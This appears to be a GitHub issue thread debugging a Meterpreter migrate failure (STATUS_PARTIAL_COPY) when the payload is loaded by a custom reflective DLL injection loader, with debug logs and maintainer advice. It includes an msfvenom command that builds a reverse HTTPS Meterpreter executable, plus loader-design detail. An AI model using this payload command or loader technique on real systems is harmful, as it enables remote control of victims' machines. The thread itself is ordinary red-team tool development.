Meterpreter migrate bug when using custom RDI loader

[PYfffE]

I created custom RDI loader (ReflectiveLoader loader exe file).
Meterterpreter and it's Reflected DLL Injection fork sources is fully untouchable.

A timeout error occurs when migrating to another process. After enabling dprintf I encountered a memory copy error:

[SNIP]
[5264] [2074] [WINAPI][winapi_kernel32_OpenProcess] Syscall ZwOpenProcess returned: 0 
[5264] [2074] [MIGRATE] creating the configuration block 
[5264] [2074] [CONFIG] preparing the configuration 
[5264] [2074] [CONFIG] Allocating 2082 bytes for transport, total of 2130 bytes 
[5264] [2074] [HTTP CONF] Writing timeouts 
[5264] [2074] [HTTP CONF] Writing UA 
[5264] [2074] [HTTP CONF] Done. 
[5264] [2074] [CONFIG] Total of 2140 bytes located at 0x00000256FD9F7010 
[5264] [2074] [MIGRATE] Config of 2140 bytes stashed at 0x00000256FD9F7010 
[5264] [2074] [WINAPI][winapi_kernel32_DuplicateHandle] Calling DuplicateHandle @ 00007FF84E874C30 
[5264] [2074] [MIGRATE] Duplicated Event Handle: 0xa7c 
[5264] [2074] [WINAPI][winapi_kernel32_VirtualAllocEx] Syscall ZwAllocateVirtualMemory returned: 0 
[5264] [2074] [MIGRATE] Migrate stub: 0x00000246E31E0000 -> 239 bytes 

HERE -> [5264] [2074] [WINAPI][winapi_kernel32_WriteProcessMemory] Syscall ZwWriteVirtualMemory returned: -2147483635 

[5264] [2074] [MIGRATE] WriteProcessMemory 1 failed. error=0 (0x0) 
[5264] [2074] [MIGRATE] Closing the process handle 0x000005b0 
[5264] [2074] [WINAPI][winapi_kernel32_CloseHandle] Calling CloseHandle @ 00007FF84E874C20 
[5264] [2074] [MIGRATE] Closing the event handle 0x00000708 
[5264] [2074] [WINAPI][winapi_kernel32_CloseHandle] Calling CloseHandle @ 00007FF84E874C20 
[5264] [2074] [MIGRATE] Finishing migration, result: 0
[SNIP]

First ZwWriteVirtualMemory returns with error code STATUS_PARTIAL_COPY. After several attempts to fix it, I found that if I put Sleep(500) before the first WriteProcessMemory (here), the error disappears.

However, I still don't understand what causes this behavior. And most importantly, why does the migration work without changes when using the msfvenom -f exe bootloader?

Every other meterpreter command works perfectly (load, getsystem, getuid, etc.).

The standard assembly at /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/metasploit-payloads-2.0.221/data/meterpreter/metsrv.x64.debug.dll has been replaced with a compiled one.

Meterpreter version - v2.0.242.

Compiler - MSVC (Visual Studio with minimal changes of default project configuration).

My stager is simple Reflective Dll Injecion fork. It's searching for ReflectiveLoader export, run it and calling DllMain with DLL_METASPLOIT_ATTACH argument. Config structure is identical to the structure generated by msfven.

Command to generate exe loader via msfvenom: msfvenom -p windows/x64/meterpreter_reverse_https LPORT=443 LHOST=[my-ip-address]-f exe -o ./met.exe.

[jbx81-1337]

Hello @PYfffE, without seeing the code is hard to understand the problem, feel free to push send here the link of the reflective loader and how do you achieve code-exec.

[PYfffE]

Hello @jbx81-1337, sorry for long reply.

I've done some testing and concluded that the issue is with the custom loader and not with the meterpreter source code. Using original build in /usr/share/metasploit-framework/vendor/bundle/ruby/3.3.0/gems/metasploit-payloads-2.0.221/data/meterpreter/metsrv.x64.dll (decrypted) behaves the same problem.

Here is my RDI loader, it's almost a copy of this. I use only injector from here. Meterpreter's ReflectiveLoader unchanged.
https://github.com/PYfffE/Another-RDI-Fork

Can you take a look?

Perhaps the migration issue could have arisen here?

Or is Stephen Fewer's example outdated and is it better to look at this fork as a "standard"?

[dledda-r7]

in the original ReflectiveLoader implementation the ReflectiveLoader function is responsible to call the entry point (DllMain) of the DLL, https://github.com/rapid7/ReflectiveDLLInjection/blob/65158735c7a16a2ddf5a0946cb87712d268498a5/dll/src/ReflectiveLoader.c#L531 this looks kinda wrong here: https://github.com/PYfffE/Another-RDI-Fork/blob/9ff9bbbdf7569421f1d19ad0d818f62aee6da235/src/rdi_dll/ReflectiveLoader.c#L402 i THINK you want to call uiValueA

also IIRC, metsrv will need the config ptr as parameter so also that null i think is wrong

[PYfffE]

this looks kinda wrong here: https://github.com/PYfffE/Another-RDI-Fork/blob/9ff9bbbdf7569421f1d19ad0d818f62aee6da235/src/rdi_dll/ReflectiveLoader.c#L402

I don't use my own ReflectiveLoader for loading metsrv, it's only for tests. All I use from my repository is injector, everything else (metasplot-payloads and https://github.com/rapid7/ReflectiveDLLInjection/) unchanged.